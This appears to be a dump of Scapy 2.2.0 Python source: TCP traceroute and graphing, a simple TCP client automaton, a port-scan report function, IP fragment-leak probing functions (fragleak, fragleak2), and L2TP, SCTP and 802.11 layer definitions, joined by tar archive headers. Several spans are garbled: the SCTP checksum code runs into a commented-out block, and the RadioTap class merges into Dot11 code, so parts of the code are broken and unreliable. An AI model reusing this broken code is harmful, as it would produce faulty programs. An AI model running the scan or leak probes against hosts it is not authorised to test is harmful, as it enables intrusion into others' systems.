elif rtk[2] == 6: #TCP bh = "%s %i/tcp" % (rtk[1],rtk[3]) elif rtk[2] == 17: #UDP bh = '%s %i/udp' % (rtk[1],rtk[3]) else: bh = '%s %i/proto' % (rtk[1],rtk[2]) ips[bh] = None bhip[rtk[1]] = bh bh = '"%s"' % bh trace[max(k)+1] = bh blackholes.append(bh) # Find AS numbers ASN_query_list = dict.fromkeys(map(lambda x:x.rsplit(" ",1)[0],ips)).keys() if ASres is None: ASNlist = [] else: ASNlist = ASres.resolve(*ASN_query_list) ASNs = {} ASDs = {} for ip,asn,desc, in ASNlist: if asn is None: continue iplist = ASNs.get(asn,[]) if ip in bhip: if ip in ports: iplist.append(ip) iplist.append(bhip[ip]) else: iplist.append(ip) ASNs[asn] = iplist ASDs[asn] = desc backcolorlist=colgen("60","86","ba","ff") forecolorlist=colgen("a0","70","40","20") s = "digraph trace {\n" s += "\n\tnode [shape=ellipse,color=black,style=solid];\n\n" s += "\n#ASN clustering\n" for asn in ASNs: s += '\tsubgraph cluster_%s {\n' % asn col = backcolorlist.next() s += '\t\tcolor="#%s%s%s";' % col s += '\t\tnode [fillcolor="#%s%s%s",style=filled];' % col s += '\t\tfontsize = 10;' s += '\t\tlabel = "%s\\n[%s]"\n' % (asn,ASDs[asn]) for ip in ASNs[asn]: s += '\t\t"%s";\n'%ip s += "\t}\n" s += "#endpoints\n" for p in ports: s += '\t"%s" [shape=record,color=black,fillcolor=green,style=filled,label="%s|%s"];\n' % (p,p,"|".join(ports[p])) s += "\n#Blackholes\n" for bh in blackholes: s += '\t%s [shape=octagon,color=black,fillcolor=red,style=filled];\n' % bh if padding: s += "\n#Padding\n" pad={} for snd,rcv in self.res: if rcv.src not in ports and rcv.haslayer(Padding): p = rcv.getlayer(Padding).load if p != "\x00"*len(p): pad[rcv.src]=None for rcv in pad: s += '\t"%s" [shape=triangle,color=black,fillcolor=red,style=filled];\n' % rcv s += "\n\tnode [shape=ellipse,color=black,style=solid];\n\n" for rtk in rt: s += "#---[%s\n" % `rtk` s += '\t\tedge [color="#%s%s%s"];\n' % forecolorlist.next() trace = rt[rtk] k = trace.keys() for n in range(min(k), max(k)): s += '\t%s ->\n' % trace[n] s += '\t%s;\n' % trace[max(k)] s += "}\n"; self.graphdef = s def graph(self, ASres=None, padding=0, **kargs): """x.graph(ASres=conf.AS_resolver, other args): ASres=None : no AS resolver => no clustering ASres=AS_resolver() : default whois AS resolver (riswhois.ripe.net) ASres=AS_resolver_cymru(): use whois.cymru.com whois database ASres=AS_resolver(server="whois.ra.net") type: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option target: filename or redirect. Defaults pipe to Imagemagick's display program prog: which graphviz program to use""" if ASres is None: ASres = conf.AS_resolver if (self.graphdef is None or self.graphASres != ASres or self.graphpadding != padding): self.make_graph(ASres,padding) return do_graph(self.graphdef, **kargs) @conf.commands.register def traceroute(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), l4 = None, filter=None, timeout=2, verbose=None, **kargs): """Instant TCP traceroute traceroute(target, [maxttl=30,] [dport=80,] [sport=80,] [verbose=conf.verb]) -> None """ if verbose is None: verbose = conf.verb if filter is None: # we only consider ICMP error packets and TCP packets with at # least the ACK flag set *and* either the SYN or the RST flag # set filter="(icmp and (icmp[0]=3 or icmp[0]=4 or icmp[0]=5 or icmp[0]=11 or icmp[0]=12)) or (tcp and (tcp[13] & 0x16 > 0x10))" if l4 is None: a,b = sr(IP(dst=target, id=RandShort(), ttl=(minttl,maxttl))/TCP(seq=RandInt(),sport=sport, dport=dport), timeout=timeout, filter=filter, verbose=verbose, **kargs) else: # this should always work filter="ip" a,b = sr(IP(dst=target, id=RandShort(), ttl=(minttl,maxttl))/l4, timeout=timeout, filter=filter, verbose=verbose, **kargs) a = TracerouteResult(a.res) if verbose: a.show() return a,b ############################# ## Simple TCP client stack ## ############################# class TCP_client(Automaton): def parse_args(self, ip, port, *args, **kargs): self.dst = iter(Net(ip)).next() self.dport = port self.sport = random.randrange(0,2**16) self.l4 = IP(dst=ip)/TCP(sport=self.sport, dport=self.dport, flags=0, seq=random.randrange(0,2**32)) self.src = self.l4.src self.swin=self.l4[TCP].window self.dwin=1 self.rcvbuf="" bpf = "host %s and host %s and port %i and port %i" % (self.src, self.dst, self.sport, self.dport) # bpf=None Automaton.parse_args(self, filter=bpf, **kargs) def master_filter(self, pkt): return (IP in pkt and pkt[IP].src == self.dst and pkt[IP].dst == self.src and TCP in pkt and pkt[TCP].sport == self.dport and pkt[TCP].dport == self.sport and self.l4[TCP].seq >= pkt[TCP].ack and # XXX: seq/ack 2^32 wrap up ((self.l4[TCP].ack == 0) or (self.l4[TCP].ack <= pkt[TCP].seq <= self.l4[TCP].ack+self.swin)) ) @ATMT.state(initial=1) def START(self): pass @ATMT.state() def SYN_SENT(self): pass @ATMT.state() def ESTABLISHED(self): pass @ATMT.state() def LAST_ACK(self): pass @ATMT.state(final=1) def CLOSED(self): pass @ATMT.condition(START) def connect(self): raise self.SYN_SENT() @ATMT.action(connect) def send_syn(self): self.l4[TCP].flags = "S" self.send(self.l4) self.l4[TCP].seq += 1 @ATMT.receive_condition(SYN_SENT) def synack_received(self, pkt): if pkt[TCP].flags & 0x3f == 0x12: raise self.ESTABLISHED().action_parameters(pkt) @ATMT.action(synack_received) def send_ack_of_synack(self, pkt): self.l4[TCP].ack = pkt[TCP].seq+1 self.l4[TCP].flags = "A" self.send(self.l4) @ATMT.receive_condition(ESTABLISHED) def incoming_data_received(self, pkt): if not isinstance(pkt[TCP].payload, NoPayload) and not isinstance(pkt[TCP].payload, Padding): raise self.ESTABLISHED().action_parameters(pkt) @ATMT.action(incoming_data_received) def receive_data(self,pkt): data = str(pkt[TCP].payload) if data and self.l4[TCP].ack == pkt[TCP].seq: self.l4[TCP].ack += len(data) self.l4[TCP].flags = "A" self.send(self.l4) self.rcvbuf += data if pkt[TCP].flags & 8 != 0: #PUSH self.oi.tcp.send(self.rcvbuf) self.rcvbuf = "" @ATMT.ioevent(ESTABLISHED,name="tcp", as_supersocket="tcplink") def outgoing_data_received(self, fd): raise self.ESTABLISHED().action_parameters(fd.recv()) @ATMT.action(outgoing_data_received) def send_data(self, d): self.l4[TCP].flags = "PA" self.send(self.l4/d) self.l4[TCP].seq += len(d) @ATMT.receive_condition(ESTABLISHED) def reset_received(self, pkt): if pkt[TCP].flags & 4 != 0: raise self.CLOSED() @ATMT.receive_condition(ESTABLISHED) def fin_received(self, pkt): if pkt[TCP].flags & 0x1 == 1: raise self.LAST_ACK().action_parameters(pkt) @ATMT.action(fin_received) def send_finack(self, pkt): self.l4[TCP].flags = "FA" self.l4[TCP].ack = pkt[TCP].seq+1 self.send(self.l4) self.l4[TCP].seq += 1 @ATMT.receive_condition(LAST_ACK) def ack_of_fin_received(self, pkt): if pkt[TCP].flags & 0x3f == 0x10: raise self.CLOSED() ##################### ## Reporting stuff ## ##################### def report_ports(target, ports): """portscan a target and output a LaTeX table report_ports(target, ports) -> string""" ans,unans = sr(IP(dst=target)/TCP(dport=ports),timeout=5) rep = "\\begin{tabular}{|r|l|l|}\n\\hline\n" for s,r in ans: if not r.haslayer(ICMP): if r.payload.flags == 0x12: rep += r.sprintf("%TCP.sport% & open & SA \\\\\n") rep += "\\hline\n" for s,r in ans: if r.haslayer(ICMP): rep += r.sprintf("%TCPerror.dport% & closed & ICMP type %ICMP.type%/%ICMP.code% from %IP.src% \\\\\n") elif r.payload.flags != 0x12: rep += r.sprintf("%TCP.sport% & closed & TCP %TCP.flags% \\\\\n") rep += "\\hline\n" for i in unans: rep += i.sprintf("%TCP.dport% & ? & unanswered \\\\\n") rep += "\\hline\n\\end{tabular}\n" return rep def IPID_count(lst, funcID=lambda x:x[1].id, funcpres=lambda x:x[1].summary()): idlst = map(funcID, lst) idlst.sort() classes = [idlst[0]]+map(lambda x:x[1],filter(lambda (x,y): abs(x-y)>50, map(lambda x,y: (x,y),idlst[:-1], idlst[1:]))) lst = map(lambda x:(funcID(x), funcpres(x)), lst) lst.sort() print "Probably %i classes:" % len(classes), classes for id,pr in lst: print "%5i" % id, pr def fragleak(target,sport=123, dport=123, timeout=0.2, onlyasc=0): load = "XXXXYYYYYYYYYY" # getmacbyip(target) # pkt = IP(dst=target, id=RandShort(), options="\x22"*40)/UDP()/load pkt = IP(dst=target, id=RandShort(), options="\x00"*40, flags=1)/UDP(sport=sport, dport=sport)/load s=conf.L3socket() intr=0 found={} try: while 1: try: if not intr: s.send(pkt) sin,sout,serr = select([s],[],[],timeout) if not sin: continue ans=s.recv(1600) if not isinstance(ans, IP): #TODO: IPv6 continue if not isinstance(ans.payload, ICMP): continue if not isinstance(ans.payload.payload, IPerror): continue if ans.payload.payload.dst != target: continue if ans.src != target: print "leak from", ans.src, # print repr(ans) if not ans.haslayer(Padding): continue # print repr(ans.payload.payload.payload.payload) # if not isinstance(ans.payload.payload.payload.payload, Raw): # continue # leak = ans.payload.payload.payload.payload.load[len(load):] leak = ans.getlayer(Padding).load if leak not in found: found[leak]=None linehexdump(leak, onlyasc=onlyasc) except KeyboardInterrupt: if intr: raise intr=1 except KeyboardInterrupt: pass def fragleak2(target, timeout=0.4, onlyasc=0): found={} try: while 1: p = sr1(IP(dst=target, options="\x00"*40, proto=200)/"XXXXYYYYYYYYYYYY",timeout=timeout,verbose=0) if not p: continue if Padding in p: leak = p[Padding].load if leak not in found: found[leak]=None linehexdump(leak,onlyasc=onlyasc) except: pass conf.stats_classic_protocols += [TCP,UDP,ICMP] conf.stats_dot11_protocols += [TCP,UDP,ICMP] if conf.ipv6_enabled: import scapy.layers.inet6 scapy-2.2.0/scapy/layers/l2tp.py0000644000175000017500000000202411430356075014613 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ L2TP (Layer 2 Tunneling Protocol) for VPNs. [RFC 2661] """ import struct from scapy.packet import * from scapy.fields import * from scapy.layers.inet import UDP from scapy.layers.ppp import PPP class L2TP(Packet): fields_desc = [ ShortEnumField("pkt_type",2,{2:"data"}), ShortField("len", None), ShortField("tunnel_id", 0), ShortField("session_id", 0), ShortField("ns", 0), ShortField("nr", 0), ShortField("offset", 0) ] def post_build(self, pkt, pay): if self.len is None: l = len(pkt)+len(pay) pkt = pkt[:2]+struct.pack("!H", l)+pkt[4:] return pkt+pay bind_layers( UDP, L2TP, sport=1701, dport=1701) bind_layers( L2TP, PPP, ) scapy-2.2.0/scapy/layers/sctp.py0000644000175000017500000004265511430356076014722 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## Copyright (C) 6WIND ## This program is published under a GPLv2 license """ SCTP (Stream Control Transmission Protocol). """ import struct from scapy.packet import * from scapy.fields import * from scapy.layers.inet import IP from scapy.layers.inet6 import IP6Field IPPROTO_SCTP=132 # crc32-c (Castagnoli) (crc32c_poly=0x1EDC6F41) crc32c_table = [ 0x00000000, 0xF26B8303, 0xE13B70F7, 0x1350F3F4, 0xC79A971F, 0x35F1141C, 0x26A1E7E8, 0xD4CA64EB, 0x8AD958CF, 0x78B2DBCC, 0x6BE22838, 0x9989AB3B, 0x4D43CFD0, 0xBF284CD3, 0xAC78BF27, 0x5E133C24, 0x105EC76F, 0xE235446C, 0xF165B798, 0x030E349B, 0xD7C45070, 0x25AFD373, 0x36FF2087, 0xC494A384, 0x9A879FA0, 0x68EC1CA3, 0x7BBCEF57, 0x89D76C54, 0x5D1D08BF, 0xAF768BBC, 0xBC267848, 0x4E4DFB4B, 0x20BD8EDE, 0xD2D60DDD, 0xC186FE29, 0x33ED7D2A, 0xE72719C1, 0x154C9AC2, 0x061C6936, 0xF477EA35, 0xAA64D611, 0x580F5512, 0x4B5FA6E6, 0xB93425E5, 0x6DFE410E, 0x9F95C20D, 0x8CC531F9, 0x7EAEB2FA, 0x30E349B1, 0xC288CAB2, 0xD1D83946, 0x23B3BA45, 0xF779DEAE, 0x05125DAD, 0x1642AE59, 0xE4292D5A, 0xBA3A117E, 0x4851927D, 0x5B016189, 0xA96AE28A, 0x7DA08661, 0x8FCB0562, 0x9C9BF696, 0x6EF07595, 0x417B1DBC, 0xB3109EBF, 0xA0406D4B, 0x522BEE48, 0x86E18AA3, 0x748A09A0, 0x67DAFA54, 0x95B17957, 0xCBA24573, 0x39C9C670, 0x2A993584, 0xD8F2B687, 0x0C38D26C, 0xFE53516F, 0xED03A29B, 0x1F682198, 0x5125DAD3, 0xA34E59D0, 0xB01EAA24, 0x42752927, 0x96BF4DCC, 0x64D4CECF, 0x77843D3B, 0x85EFBE38, 0xDBFC821C, 0x2997011F, 0x3AC7F2EB, 0xC8AC71E8, 0x1C661503, 0xEE0D9600, 0xFD5D65F4, 0x0F36E6F7, 0x61C69362, 0x93AD1061, 0x80FDE395, 0x72966096, 0xA65C047D, 0x5437877E, 0x4767748A, 0xB50CF789, 0xEB1FCBAD, 0x197448AE, 0x0A24BB5A, 0xF84F3859, 0x2C855CB2, 0xDEEEDFB1, 0xCDBE2C45, 0x3FD5AF46, 0x7198540D, 0x83F3D70E, 0x90A324FA, 0x62C8A7F9, 0xB602C312, 0x44694011, 0x5739B3E5, 0xA55230E6, 0xFB410CC2, 0x092A8FC1, 0x1A7A7C35, 0xE811FF36, 0x3CDB9BDD, 0xCEB018DE, 0xDDE0EB2A, 0x2F8B6829, 0x82F63B78, 0x709DB87B, 0x63CD4B8F, 0x91A6C88C, 0x456CAC67, 0xB7072F64, 0xA457DC90, 0x563C5F93, 0x082F63B7, 0xFA44E0B4, 0xE9141340, 0x1B7F9043, 0xCFB5F4A8, 0x3DDE77AB, 0x2E8E845F, 0xDCE5075C, 0x92A8FC17, 0x60C37F14, 0x73938CE0, 0x81F80FE3, 0x55326B08, 0xA759E80B, 0xB4091BFF, 0x466298FC, 0x1871A4D8, 0xEA1A27DB, 0xF94AD42F, 0x0B21572C, 0xDFEB33C7, 0x2D80B0C4, 0x3ED04330, 0xCCBBC033, 0xA24BB5A6, 0x502036A5, 0x4370C551, 0xB11B4652, 0x65D122B9, 0x97BAA1BA, 0x84EA524E, 0x7681D14D, 0x2892ED69, 0xDAF96E6A, 0xC9A99D9E, 0x3BC21E9D, 0xEF087A76, 0x1D63F975, 0x0E330A81, 0xFC588982, 0xB21572C9, 0x407EF1CA, 0x532E023E, 0xA145813D, 0x758FE5D6, 0x87E466D5, 0x94B49521, 0x66DF1622, 0x38CC2A06, 0xCAA7A905, 0xD9F75AF1, 0x2B9CD9F2, 0xFF56BD19, 0x0D3D3E1A, 0x1E6DCDEE, 0xEC064EED, 0xC38D26C4, 0x31E6A5C7, 0x22B65633, 0xD0DDD530, 0x0417B1DB, 0xF67C32D8, 0xE52CC12C, 0x1747422F, 0x49547E0B, 0xBB3FFD08, 0xA86F0EFC, 0x5A048DFF, 0x8ECEE914, 0x7CA56A17, 0x6FF599E3, 0x9D9E1AE0, 0xD3D3E1AB, 0x21B862A8, 0x32E8915C, 0xC083125F, 0x144976B4, 0xE622F5B7, 0xF5720643, 0x07198540, 0x590AB964, 0xAB613A67, 0xB831C993, 0x4A5A4A90, 0x9E902E7B, 0x6CFBAD78, 0x7FAB5E8C, 0x8DC0DD8F, 0xE330A81A, 0x115B2B19, 0x020BD8ED, 0xF0605BEE, 0x24AA3F05, 0xD6C1BC06, 0xC5914FF2, 0x37FACCF1, 0x69E9F0D5, 0x9B8273D6, 0x88D28022, 0x7AB90321, 0xAE7367CA, 0x5C18E4C9, 0x4F48173D, 0xBD23943E, 0xF36E6F75, 0x0105EC76, 0x12551F82, 0xE03E9C81, 0x34F4F86A, 0xC69F7B69, 0xD5CF889D, 0x27A40B9E, 0x79B737BA, 0x8BDCB4B9, 0x988C474D, 0x6AE7C44E, 0xBE2DA0A5, 0x4C4623A6, 0x5F16D052, 0xAD7D5351, ] def crc32c(buf): crc = 0xffffffff for c in buf: crc = (crc>>8) ^ crc32c_table[(crc^(ord(c))) & 0xFF] crc = (~crc) & 0xffffffff # reverse endianness return struct.unpack(">I",struct.pack("> 16) & 0xffff print s1,s2 for c in buf: print ord(c) s1 = (s1 + ord(c)) % BASE s2 = (s2 + s1) % BASE print s1,s2 return (s2 << 16) + s1 def sctp_checksum(buf): return update_adler32(1, buf) """ sctpchunktypescls = { 0 : "SCTPChunkData", 1 : "SCTPChunkInit", 2 : "SCTPChunkInitAck", 3 : "SCTPChunkSACK", 4 : "SCTPChunkHeartbeatReq", 5 : "SCTPChunkHeartbeatAck", 6 : "SCTPChunkAbort", 7 : "SCTPChunkShutdown", 8 : "SCTPChunkShutdownAck", 9 : "SCTPChunkError", 10 : "SCTPChunkCookieEcho", 11 : "SCTPChunkCookieAck", 14 : "SCTPChunkShutdownComplete", } sctpchunktypes = { 0 : "data", 1 : "init", 2 : "init-ack", 3 : "sack", 4 : "heartbeat-req", 5 : "heartbeat-ack", 6 : "abort", 7 : "shutdown", 8 : "shutdown-ack", 9 : "error", 10 : "cookie-echo", 11 : "cookie-ack", 14 : "shutdown-complete", } sctpchunkparamtypescls = { 1 : "SCTPChunkParamHearbeatInfo", 5 : "SCTPChunkParamIPv4Addr", 6 : "SCTPChunkParamIPv6Addr", 7 : "SCTPChunkParamStateCookie", 8 : "SCTPChunkParamUnrocognizedParam", 9 : "SCTPChunkParamCookiePreservative", 11 : "SCTPChunkParamHostname", 12 : "SCTPChunkParamSupportedAddrTypes", 32768 : "SCTPChunkParamECNCapable", 49152 : "SCTPChunkParamFwdTSN", 49158 : "SCTPChunkParamAdaptationLayer", } sctpchunkparamtypes = { 1 : "heartbeat-info", 5 : "IPv4", 6 : "IPv6", 7 : "state-cookie", 8 : "unrecognized-param", 9 : "cookie-preservative", 11 : "hostname", 12 : "addrtypes", 32768 : "ecn-capable", 49152 : "fwd-tsn-supported", 49158 : "adaptation-layer", } ############## SCTP header # Dummy class to guess payload type (variable parameters) class _SCTPChunkGuessPayload: def default_payload_class(self,p): if len(p) < 4: return Padding else: t = ord(p[0]) return globals().get(sctpchunktypescls.get(t, "Raw"), Raw) class SCTP(_SCTPChunkGuessPayload, Packet): fields_desc = [ ShortField("sport", None), ShortField("dport", None), XIntField("tag", None), XIntField("chksum", None), ] def answers(self, other): if not isinstance(other, SCTP): return 0 if conf.checkIPsrc: if not ((self.sport == other.dport) and (self.dport == other.sport)): return 0 return 1 def post_build(self, p, pay): p += pay if self.chksum is None: crc = crc32c(str(p)) p = p[:8]+struct.pack(">I", crc)+p[12:] return p ############## SCTP Chunk variable params class ChunkParamField(PacketListField): islist = 1 holds_packets=1 def __init__(self, name, default, count_from=None, length_from=None): PacketListField.__init__(self, name, default, Raw, count_from=count_from, length_from=length_from) def m2i(self, p, m): cls = Raw if len(m) >= 4: t = ord(m[0]) * 256 + ord(m[1]) cls = globals().get(sctpchunkparamtypescls.get(t, "Raw"), Raw) return cls(m) # dummy class to avoid Raw() after Chunk params class _SCTPChunkParam: def extract_padding(self, s): return "",s[:] class SCTPChunkParamHearbeatInfo(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 1, sctpchunkparamtypes), FieldLenField("len", None, length_of="data", adjust = lambda pkt,x:x+4), PadField(StrLenField("data", "", length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"),] class SCTPChunkParamIPv4Addr(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 5, sctpchunkparamtypes), ShortField("len", 8), IPField("addr","127.0.0.1"), ] class SCTPChunkParamIPv6Addr(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 6, sctpchunkparamtypes), ShortField("len", 20), IP6Field("addr","::1"), ] class SCTPChunkParamStateCookie(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 7, sctpchunkparamtypes), FieldLenField("len", None, length_of="cookie", adjust = lambda pkt,x:x+4), PadField(StrLenField("cookie", "", length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"),] class SCTPChunkParamUnrocognizedParam(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 8, sctpchunkparamtypes), FieldLenField("len", None, length_of="param", adjust = lambda pkt,x:x+4), PadField(StrLenField("param", "", length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"),] class SCTPChunkParamCookiePreservative(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 9, sctpchunkparamtypes), ShortField("len", 8), XIntField("sug_cookie_inc", None), ] class SCTPChunkParamHostname(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 11, sctpchunkparamtypes), FieldLenField("len", None, length_of="hostname", adjust = lambda pkt,x:x+4), PadField(StrLenField("hostname", "", length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"), ] class SCTPChunkParamSupportedAddrTypes(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 12, sctpchunkparamtypes), FieldLenField("len", None, length_of="addr_type_list", adjust = lambda pkt,x:x+4), PadField(FieldListField("addr_type_list", [ "IPv4" ], ShortEnumField("addr_type", 5, sctpchunkparamtypes), length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"), ] class SCTPChunkParamECNCapable(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 32768, sctpchunkparamtypes), ShortField("len", 4), ] class SCTPChunkParamFwdTSN(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 49152, sctpchunkparamtypes), ShortField("len", 4), ] class SCTPChunkParamAdaptationLayer(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 49158, sctpchunkparamtypes), ShortField("len", 8), XIntField("indication", None), ] ############## SCTP Chunks class SCTPChunkData(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 0, sctpchunktypes), BitField("reserved", None, 4), BitField("delay_sack", 0, 1), BitField("unordered", 0, 1), BitField("beginning", 0, 1), BitField("ending", 0, 1), FieldLenField("len", None, length_of="data", adjust = lambda pkt,x:x+16), XIntField("tsn", None), XShortField("stream_id", None), XShortField("stream_seq", None), XIntField("proto_id", None), PadField(StrLenField("data", None, length_from=lambda pkt: pkt.len-16), 4, padwith="\x00"), ] class SCTPChunkInit(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 1, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+20), XIntField("init_tag", None), IntField("a_rwnd", None), ShortField("n_out_streams", None), ShortField("n_in_streams", None), XIntField("init_tsn", None), ChunkParamField("params", None, length_from=lambda pkt:pkt.len-20), ] class SCTPChunkInitAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 2, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+20), XIntField("init_tag", None), IntField("a_rwnd", None), ShortField("n_out_streams", None), ShortField("n_in_streams", None), XIntField("init_tsn", None), ChunkParamField("params", None, length_from=lambda pkt:pkt.len-20), ] class GapAckField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "4s") def i2m(self, pkt, x): if x is None: return "\0\0\0\0" sta, end = map(int, x.split(":")) args = tuple([">HH", sta, end]) return struct.pack(*args) def m2i(self, pkt, x): return "%d:%d"%(struct.unpack(">HH", x)) def any2i(self, pkt, x): if type(x) is tuple and len(x) == 2: return "%d:%d"%(x) return x class SCTPChunkSACK(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 3, sctpchunktypes), XByteField("flags", None), ShortField("len", None), XIntField("cumul_tsn_ack", None), IntField("a_rwnd", None), FieldLenField("n_gap_ack", None, count_of="gap_ack_list"), FieldLenField("n_dup_tsn", None, count_of="dup_tsn_list"), FieldListField("gap_ack_list", [ ], GapAckField("gap_ack", None), count_from=lambda pkt:pkt.n_gap_ack), FieldListField("dup_tsn_list", [ ], XIntField("dup_tsn", None), count_from=lambda pkt:pkt.n_dup_tsn), ] def post_build(self, p, pay): if self.len is None: p = p[:2] + struct.pack(">H", len(p)) + p[4:] return p+pay class SCTPChunkHeartbeatReq(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 4, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+4), ChunkParamField("params", None, length_from=lambda pkt:pkt.len-4), ] class SCTPChunkHeartbeatAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 5, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+4), ChunkParamField("params", None, length_from=lambda pkt:pkt.len-4), ] class SCTPChunkAbort(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 6, sctpchunktypes), BitField("reserved", None, 7), BitField("TCB", 0, 1), FieldLenField("len", None, length_of="error_causes", adjust = lambda pkt,x:x+4), PadField(StrLenField("error_causes", "", length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"), ] class SCTPChunkShutdown(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 7, sctpchunktypes), XByteField("flags", None), ShortField("len", 8), XIntField("cumul_tsn_ack", None), ] class SCTPChunkShutdownAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 8, sctpchunktypes), XByteField("flags", None), ShortField("len", 4), ] class SCTPChunkError(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 9, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="error_causes", adjust = lambda pkt,x:x+4), PadField(StrLenField("error_causes", "", length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"), ] class SCTPChunkCookieEcho(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 10, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="cookie", adjust = lambda pkt,x:x+4), PadField(StrLenField("cookie", "", length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"), ] class SCTPChunkCookieAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 11, sctpchunktypes), XByteField("flags", None), ShortField("len", 4), ] class SCTPChunkShutdownComplete(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 12, sctpchunktypes), BitField("reserved", None, 7), BitField("TCB", 0, 1), ShortField("len", 4), ] bind_layers( IP, SCTP, proto=IPPROTO_SCTP) scapy-2.2.0/scapy/layers/dot11.py0000644000175000017500000004633511442677103014700 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Wireless LAN according to IEEE 802.11. """ import re,struct from scapy.packet import * from scapy.fields import * from scapy.plist import PacketList from scapy.layers.l2 import * try: from Crypto.Cipher import ARC4 except ImportError: log_loading.info("Can't import python Crypto lib. Won't be able to decrypt WEP.") ### Fields class Dot11AddrMACField(MACField): def is_applicable(self, pkt): return 1 def addfield(self, pkt, s, val): if self.is_applicable(pkt): return MACField.addfield(self, pkt, s, val) else: return s def getfield(self, pkt, s): if self.is_applicable(pkt): return MACField.getfield(self, pkt, s) else: return s,None class Dot11Addr2MACField(Dot11AddrMACField): def is_applicable(self, pkt): if pkt.type == 1: return pkt.subtype in [ 0xb, 0xa, 0xe, 0xf] # RTS, PS-Poll, CF-End, CF-End+CF-Ack return 1 class Dot11Addr3MACField(Dot11AddrMACField): def is_applicable(self, pkt): if pkt.type in [0,2]: return 1 return 0 class Dot11Addr4MACField(Dot11AddrMACField): def is_applicable(self, pkt): if pkt.type == 2: if pkt.FCfield & 0x3 == 0x3: # To-DS and From-DS are set return 1 return 0 ### Layers class PrismHeader(Packet): """ iwpriv wlan0 monitor 3 """ name = "Prism header" fields_desc = [ LEIntField("msgcode",68), LEIntField("len",144), StrFixedLenField("dev","",16), LEIntField("hosttime_did",0), LEShortField("hosttime_status",0), LEShortField("hosttime_len",0), LEIntField("hosttime",0), LEIntField("mactime_did",0), LEShortField("mactime_status",0), LEShortField("mactime_len",0), LEIntField("mactime",0), LEIntField("channel_did",0), LEShortField("channel_status",0), LEShortField("channel_len",0), LEIntField("channel",0), LEIntField("rssi_did",0), LEShortField("rssi_status",0), LEShortField("rssi_len",0), LEIntField("rssi",0), LEIntField("sq_did",0), LEShortField("sq_status",0), LEShortField("sq_len",0), LEIntField("sq",0), LEIntField("signal_did",0), LEShortField("signal_status",0), LEShortField("signal_len",0), LESignedIntField("signal",0), LEIntField("noise_did",0), LEShortField("noise_status",0), LEShortField("noise_len",0), LEIntField("noise",0), LEIntField("rate_did",0), LEShortField("rate_status",0), LEShortField("rate_len",0), LEIntField("rate",0), LEIntField("istx_did",0), LEShortField("istx_status",0), LEShortField("istx_len",0), LEIntField("istx",0), LEIntField("frmlen_did",0), LEShortField("frmlen_status",0), LEShortField("frmlen_len",0), LEIntField("frmlen",0), ] def answers(self, other): if isinstance(other, PrismHeader): return self.payload.answers(other.payload) else: return self.payload.answers(other) class RadioTap(Packet): name = "RadioTap dummy" fields_desc = [ ByteField('version', 0), ByteField('pad', 0), FieldLenField('len', None, 'notdecoded', ' %Dot11.addr1%") def guess_payload_class(self, payload): if self.type == 0x02 and (self.subtype >= 0x08 and self.subtype <=0xF and self.subtype != 0xD): return Dot11QoS elif self.FCfield & 0x40: return Dot11WEP else: return Packet.guess_payload_class(self, payload) def answers(self, other): if isinstance(other,Dot11): if self.type == 0: # management if self.addr1.lower() != other.addr2.lower(): # check resp DA w/ req SA return 0 if (other.subtype,self.subtype) in [(0,1),(2,3),(4,5)]: return 1 if self.subtype == other.subtype == 11: # auth return self.payload.answers(other.payload) elif self.type == 1: # control return 0 elif self.type == 2: # data return self.payload.answers(other.payload) elif self.type == 3: # reserved return 0 return 0 def unwep(self, key=None, 